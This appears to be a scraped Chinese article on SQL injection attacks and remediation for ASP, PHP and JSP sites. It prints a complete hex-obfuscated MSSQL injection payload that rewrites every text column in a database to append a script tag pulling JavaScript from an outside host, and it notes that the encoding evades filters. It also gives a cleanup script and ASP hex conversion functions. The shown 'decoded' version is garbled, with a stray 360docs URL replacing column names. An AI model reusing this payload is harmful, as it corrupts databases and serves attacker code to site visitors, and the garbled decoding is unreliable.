数据库sql注入漏洞解决方法及攻防步骤,解决u4399的注入漏洞

ASP\ASPX\PHP\JSP都可能存在这样的漏洞,GET/post数据库注入漏洞注意事项及攻防步骤


原链接(注入点)
http://www.****.com/***.aspx?id=26
http://www.****.com/***.asp?id=26
http://www.****.com/***.jsp?id=26
http://www.****.com/***.php?id=26

注入形式
http://www.****.com/***.aspx?id=26;*****注入漏洞代码******


注入漏洞代码(事例,MSSQL支持16进制字符处理,16进制编码后,不容易被过滤)
****id=315****;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6D65696469616E6275792E636F6D2F746573742E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);

注意:这里的0x表示后边的字符是16进制编码

url编码还原(事例)
;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6D65696469616E6275792E636F6D2F746573742E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);

注入的16进制代码(事例)
4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F522

0464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6D65696469616E6275792E636F6D2F746573742E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72

还原结果(事例)
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT https://www.360docs.net/doc/71825189.html,,https://www.360docs.net/doc/71825189.html, FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

最终注入语句(事例)
;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(*** aS VaRcHaR(4000));eXeC(@s);

被注入后,可通过IIS日志获得攻击记录(包括注入点、注入字符串,日志分析工具,我这里有个ASP的写,如果需要,请联系我)

被注入后,修复程序
declare @delStr nvarchar(500) set @delStr= '' set nocount on declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int declare @sql nvarchar(500) set @iResult=0 declare cur cursor for select name,id from sysobjects where xtype= 'U ' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text,ntext,类型 select name from syscolumns where xtype in (231,167,239,175,35,99) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql= 'update ['+ @tableName +'] set ['+ @columnName+ ']= replace(cast(['+@columnName+ '] as nvarchar(max)) ,'''+@delStr+ ''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' exec sp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow> 0 begin print '表:'+@tableName+ ',列: '+@columnName+ '被更新'+convert(varchar(10),@iRow)+ '条记录; ' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '数据库共有'+co

nvert(varchar(10),@iResult)+ '条记录被更新!!! ' close cur deallocate cur set nocount off


'/16进制编码及解码程序=======ASP-VB================================================================================================
Function StrToHex(ByRef Str)
Dim Length
Dim Max
Dim strHex
Max = Len(Str)
For Length = 1 To Max
strHex = strHex & Right("0" & Hex(Asc(Mid(Str, Length, 1))), 2)
Next
StrToHex = strHex
End function
%>
<%
Function HexToStr(ByRef strHex)
Dim Length
Dim Max
Dim Str
Max = Len(strHex)
For Length = 1 To Max Step 2
Str = Str & Chr("&h" & Mid(strHex, Length, 2))
Next
HexToStr = Str
End function

相关文档
最新文档